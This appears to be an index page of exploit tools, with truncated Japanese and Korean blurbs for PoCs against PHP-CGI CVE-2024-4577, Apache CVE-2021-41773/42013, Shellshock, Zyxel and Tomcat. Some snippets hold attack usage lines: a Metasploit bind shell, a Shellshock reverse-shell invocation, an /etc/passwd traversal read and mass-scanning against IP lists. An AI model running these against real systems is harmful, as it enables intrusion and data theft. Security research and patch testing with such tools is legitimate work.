CVE-2024-4577

CVE-2024-4577 php-cgi 用エクスプロイト...

goahead-rce-exploit

GoAhead Web Server 2.5 use multi/handler msf6 exploitmulti/handler set payload generic/shellbindtcp msf6 exploitmulti/handler set LPORT=1337 msf6 exploitmulti/handler set RHOST=192.168.1.200 msf6 exploitmulti/handler run Started bind TCP handler against 192.168.1.200:1337...

CVE-2021-41773

CVE-2021-41773 CVE-2021-41773 のPOCを開発しました。RCE + cgi-bin パストラバーサルです。 注 : Apache2 2.4.49 でテスト済み 脆弱性のある Apache2 2.4.49 を Docker から直接プルできます root@kitploit: $ sudo docker pull blueteamsteve/cve-2021-41773:no-cgid $ sudo docker run -dit -p 80:80 blueteamsteve/cve-2021-41773:no-cgid http://localhost:80...

CVE-2024-4577

CVE-2024-4577 用 Nuclei テンプレート この Nuclei テンプレートは、PHP CGI 引数インジェクションの脆弱性である CVE-2024-4577 の Proof of Concept PoC として機能します。 コマンド例 root@kitploit: nuclei -t CVE-2024-4577.yaml -u https://example.com...

CVE-2022-30525_Exploit

CVE-2022-30525 Zyxel ファイアウォールリモートコマンドインジェクション CVE-2022-30525 の Python ベースのエクスプロイト 脆弱性の概要 NIST Zyxel USG FLEX 100W ファームウェアバージョン5.00～5.21 Patch 1、USG FLEX 200 ファームウェアバージョン5.00～5.21 Patch 1、USG FLEX 500 ファームウェアバージョン5.00～5.21 Patch 1、USG FLEX 700 ファームウェアバージョン5.00～5.21 Patch 1、USG FLEX 50W...

-CVE-2014-6271-Shellshock-Remote-Command-Injection-

CVE-2014-6271 Shellshock-Remote-Command-Injection CVE-2014-6271 Apache Shellshock リモートコマンドインジェクションツール - クイックリバースシェルとファイル閲覧用 root@kitploit: Shellshock Apache remote exploit Usage: ./Shellshock.py payload=reverse rhost=1.2.3.4 page=3 lhost=5.6.7.8 lport=1234 ./Shellshock.py payload=files...

shocknaww

shocknaww CVE-2014-6271 を確認するためのシンプルなスクリプト 使用例 root@kitploit: ./shocknaww.py http://foo.bar/cgi-bin/foo 脆弱な環境の例 親ディレクトリから以下を実行してください。 root@kitploit: python -m CGIHTTPServer 次に、ローカルホストのテストサーバーに対して shocknaww を使用します。 root@kitploit: ./shocknaww.py http://127.0.0.1:8000/test.py...

shocker

Shocker Shellshock에 취약한 서버를 찾아 익스플로잇하는 도구 Ref: https://en.wikipedia.org/wiki/Shellshocksoftwarebug NCC Group Plc가 오픈소스로 공개 - https://www.nccgroup.trust/ 개발자: Tom Watson, tom dot watson at nccgroup dot trust https://github.com/nccgroup/shocker AGPL 라이선스로 배포됨, 자세한 내용은 LICENSE 참조 도움말 사용법: shocker.py...

PHP_CVE-2012-1823

PHP-CGI リモートコード実行の脆弱性（CVE-2012-1823） 原理 参考記事 http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/ 影響を受けるバージョン php...

CVE-2024-4577-PHP-RCE

PHP RCE PoC CVE-2024-4577: PHP-CGI における引数インジェクション 概要 このリポジトリには、PHP-CGI の引数インジェクションの問題である CVE-2024-4577 の脆弱性を確認するためのスクリプトが含まれています。用意されている Bash、Go、Python スクリプトを使用して、ドメインのリストに対してこの脆弱性をテストできます。また、Nuclei の YAML ファイルも公開しています。 使用方法 Bash スクリプト Bash スクリプトを使用するには、次のコマンドを実行します: root@kitploit:...

CVE-2021-41773-Apache_2.4.49-Path-traversal-to-RCE

CVE-2021-41773 – Apache HTTP Server 2.4.49 リモートコード実行 ⚠️ 免責事項 このリポジトリは教育および研究目的のみ に使用されることを意図しています。 ここで提供される情報とコードは、プライベートラボのマシンなどの管理された環境 でのみ使用できます。 所有していない、またはテストする明示的な許可を得ていないシステムに対するこのコードの不正使用は、違法かつ非倫理的です。 作者は、誤用や発生した損害について一切責任を負いません 。 🔍 脆弱性について CVE-2021-41773 は、Apache HTTP Server バージョン 2.4.49...

CVE-2021-41773

ApacheRCE ApacheRCEは、Apacheバージョン2.4.49～2.4.50を入力し、テキストファイルからIPアドレスのリストを読み込んで、その脆弱性を大量に実行できる小さなPythonスクリプトです。これは、複数のウェブサイトを運用していて、それらすべてが悪用可能かどうかを確認したい場合に便利です。 免責事項:...

CVE-2021-41773

CVE-2021-41773 Playground これは、CVE-2021-41773 に対して脆弱な Apache HTTPd 2.4.49 のインスタンスを備えた Debian bookworm ベースのコンテナをセットアップするための小さな Docker レシピです。 CGI は明示的に有効化されているため、ローカルファイル開示 Local File Disclosure の動作とリモートコード実行 Remote Command Execution の動作の両方をテスト・検証するために使用できます。 使い方 root@kitploit: $ docker-compose buil...

CVE-2021-42013

CVE-2021-42013 PoC CVE-2021-42013 - Apache 2.4.50 CGI無効 使用方法 : root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013.sh http://ip:port/ /etc/passwd 参考文献 https://nvd.nist.gov/vuln/detail/CVE-2021-42013 https://vulners.com/cve/CVE-2021-42013...

ShellShock-CGI-Scan

ShellShock-CGI-Scan CVE-2014-6271（Bashバグ）に対してCGIスクリプトが脆弱かどうかをチェックする、C言語で書かれたスクリプトです。 オプション: root@kitploit: -i ローカルIPアドレス -p リッスンポート -l サイトリスト -t 接続タイムアウト デフォルト: 15秒 例: $ ./Scanner -i 127.0.0.1 -p 31337 -l sites.txt -t 5 localhost のポート 31337 でリッスンを開始し、ファイル 'sites.txt' 内のサイトをスキャンし、接続タイムアウトを5秒に設定します...

CVE-2024-4577

CVE-2024-4577 CVE-2024-4577 の修正済みかつ最小限の PoC 私はこの脆弱性に対していくつかの PoC をテストしたところ、一部が正しく動作しなかったため、自作の非侵襲的かつ最小限の PoC を作成して修正しました。脆弱性があるかどうかを確認するためのものです。 使用方法: python3 CVE-2024-4577.py URL 例: python3 CVE-2024-4577.py http://127.0.0.1/ php-cgi のパスは指定せず、ベース URL のみを指定してください。...

CVE-2019-0232

CVE-2019-0232 Apache Tomcat Remote Code Execution on Windows - CGI-BIN Windows上のApache Tomcatでのリモートコード実行 cgi-bin 使用方法： root@kitploit: Usage: python CVE-2019-0232.py url cmd テスト環境： root@kitploit: jdk8 apache-tomcat-8.5.39...

CVE-2024-4577

CVE-2024-4577 PoCエクスプロイト 説明 このリポジトリには、Windows上で動作するすべてのバージョンのPHPに影響を与える深刻な脆弱性であるCVE-2024-4577の概念実証（PoC）エクスプロイトが含まれています。この脆弱性により、攻撃者はリモートで任意のコードを実行できます。この欠陥は、WindowsシステムにインストールされているXAMPP開発環境にも影響します。研究者らはこの脆弱性に対する活発なスキャンを観察しており、影響を受ける組織はPHPインストールを速やかに更新することが重要です。 脆弱性の詳細...

cve-2024-4577-phpcgi_rce_reproduction

CVE-2024-4577 - Windows 上の PHP CGI 引数インジェクション "WorstFit" 概要 CVE-2024-4577 は、Windows 上の PHP の CGI 実装における重大なリモートコード実行の脆弱性です。この脆弱性は、Windows の「Best-Fit」コードページ変換を悪用して、CGI クエリ文字列を介してコマンドライン引数を密かに送り込むことで、元の CVE-2012-1823 の修正を回避します。 CVSS スコア: 9.8 Critical 発見者: Orange Tsai DEVCORE タイプ: OS コマンドインジェクション /...

shellshock-cgi

shellshock-cgi 特定のサーバ上でCVE-2014-6271の影響を受けるCGIスクリプトを列挙するPythonスクリプト 使用方法 root@kitploit: $ python testing.py --server 172.16.255.130 --listen 172.16.255.1 戻り値の例: root@kitploit: + Testing if 172.16.255.130 is vulnerable to CVE-2014-6271 via CGI + Listening for incoming connections on the following...